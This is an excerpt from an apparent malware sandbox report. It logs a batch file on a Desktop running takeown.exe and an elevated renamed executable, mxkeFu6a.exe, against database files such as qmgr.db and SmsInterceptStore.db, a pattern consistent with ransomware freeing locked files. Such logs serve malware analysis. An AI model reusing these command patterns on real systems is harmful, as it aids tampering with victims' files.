Environment	Set Environment String	name = =ExitCodeAscii	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	3	Fn
File	Open	filename = STD_INPUT_HANDLE	2	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 194	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 7	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 103	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
Process	Create	process_name = C:\WINDOWS\system32\takeown.exe, os_pid = 0x13a0, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL	1	Fn
Environment	Set Environment String	name = COPYCMD	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCode, value = 00000000	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCodeAscii	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	3	Fn
File	Open	filename = STD_INPUT_HANDLE	2	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 179	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 3	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 35	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Set Environment String	name = FN, value = "Workflow.VisualBasic.Targets"	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 163	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 31	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
File	Get Info	filename = C:\Users\FD1HVy\Desktop, type = file_attributes	2	Fn
Environment	Set Environment String	name = =C:, value = C:\Users\FD1HVy\Desktop	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 148	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
Environment	Get Environment String	name = FN, result_out = "Workflow.VisualBasic.Targets"	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 3	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 3	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 32	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 7	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 73	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 1	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 12	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 38	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Process	Create	process_name = cmd.exe	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 1	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 12	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 44	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
File	Get Info	filename = mxkeFu6a.exe, type = file_attributes	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
Process	Create	process_name = C:\Users\FD1HVy\Desktop\mxkeFu6a.exe, os_pid = 0x390, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL	1	Fn
Environment	Set Environment String	name = COPYCMD	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCode, value = 00000001	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCodeAscii	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	3	Fn
File	Open	filename = STD_INPUT_HANDLE	2	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 0	1	Fn
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 0	1	Fn
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn

Process #25: cmd.exe

58

0

»

Information	Value
ID	#25
File Name	c:\windows\syswow64\cmd.exe
Command Line	C:\WINDOWS\system32\cmd.exe /c mxkeFu6a.exe -accepteula "qmgr.db" -nobanner
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:02:10, Reason: Child Process
Unmonitor	End Time: 00:02:24, Reason: Self Terminated
Monitor Duration	00:00:13

OS Process Information

»

Information	Value
PID	0x1314
Parent PID	0x1194 (c:\windows\syswow64\cmd.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 1318 0x 133C

Memory Dumps

»

Name	Start VA	End VA	Dump Reason	PE Rebuilds	Bitness	Entry Points	AV	YARA	Actions
cmd.exe	0x00CD0000	0x00D28FFF	Process Termination	-	32-bit	-			... Region Actions Download Dump

Threads

Thread 0x1318

58

0

»

Category	Operation	Information	Count	Logfile
Module	Get Handle	module_name = c:\windows\syswow64\cmd.exe, base_address = 0xcd0000	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadUILanguage, address_out = 0x75ea4f70	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
Environment	Get Environment String	-	2	Fn Data
Registry	Open Key	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 197, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = AutoRun, data = 64, type = REG_NONE	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 64, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = AutoRun, data = 9, type = REG_NONE	1	Fn
Module	Get Filename	process_name = c:\windows\syswow64\cmd.exe, file_name_orig = C:\WINDOWS\SysWOW64\cmd.exe, size = 32743	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
Environment	Get Environment String	name = COMSPEC, result_out = C:\WINDOWS\system32\cmd.exe	1	Fn
Environment	Get Environment String	name = KEYS	1	Fn
File	Get Info	filename = C:\Users\FD1HVy\Desktop, type = file_attributes	2	Fn
Environment	Set Environment String	name = =C:, value = C:\Users\FD1HVy\Desktop	1	Fn
Environment	Get Environment String	-	1	Fn Data
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CopyFileExW, address_out = 0x75ea4330	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsDebuggerPresent, address_out = 0x75ea5930	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetConsoleInputExeNameW, address_out = 0x74fe09d0	1	Fn
File	Get Info	filename = mxkeFu6a.exe, type = file_attributes	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
Process	Create	process_name = C:\Users\FD1HVy\Desktop\mxkeFu6a.exe, os_pid = 0x136c, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL	1	Fn
Environment	Set Environment String	name = COPYCMD	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCode, value = 00000001	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCodeAscii	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn

Process #26: cmd.exe

58

0

»

Information	Value
ID	#26
File Name	c:\windows\syswow64\cmd.exe
Command Line	C:\WINDOWS\system32\cmd.exe /c mxkeFu6a.exe -accepteula "SmsInterceptStore.db" -nobanner
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:02:11, Reason: Child Process
Unmonitor	End Time: 00:02:57, Reason: Self Terminated
Monitor Duration	00:00:45

OS Process Information

»

Information	Value
PID	0x1344
Parent PID	0x1208 (c:\windows\syswow64\cmd.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 1348 0x 1358

Memory Dumps

»

Name	Start VA	End VA	Dump Reason	PE Rebuilds	Bitness	Entry Points	AV	YARA	Actions
cmd.exe	0x00CD0000	0x00D28FFF	Process Termination	-	32-bit	-			... Region Actions Download Dump

Threads

Thread 0x1348

58

0

»

Category	Operation	Information	Count	Logfile
Module	Get Handle	module_name = c:\windows\syswow64\cmd.exe, base_address = 0xcd0000	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadUILanguage, address_out = 0x75ea4f70	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
Environment	Get Environment String	-	2	Fn Data
Registry	Open Key	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 8, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = AutoRun, data = 64, type = REG_NONE	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 64, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = AutoRun, data = 9, type = REG_NONE	1	Fn
Module	Get Filename	process_name = c:\windows\syswow64\cmd.exe, file_name_orig = C:\WINDOWS\SysWOW64\cmd.exe, size = 32743	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
Environment	Get Environment String	name = COMSPEC, result_out = C:\WINDOWS\system32\cmd.exe	1	Fn
Environment	Get Environment String	name = KEYS	1	Fn
File	Get Info	filename = C:\Users\FD1HVy\Desktop, type = file_attributes	2	Fn
Environment	Set Environment String	name = =C:, value = C:\Users\FD1HVy\Desktop	1	Fn
Environment	Get Environment String	-	1	Fn Data
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CopyFileExW, address_out = 0x75ea4330	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsDebuggerPresent, address_out = 0x75ea5930	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetConsoleInputExeNameW, address_out = 0x74fe09d0	1	Fn
File	Get Info	filename = mxkeFu6a.exe, type = file_attributes	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
Process	Create	process_name = C:\Users\FD1HVy\Desktop\mxkeFu6a.exe, os_pid = 0x1378, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL	1	Fn
Environment	Set Environment String	name = COPYCMD	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCode, value = 00000000	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCodeAscii	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn

Process #27: mxkefu6a.exe

177

0

»

Information	Value
ID	#27
File Name	c:\users\fd1hvy\desktop\mxkefu6a.exe
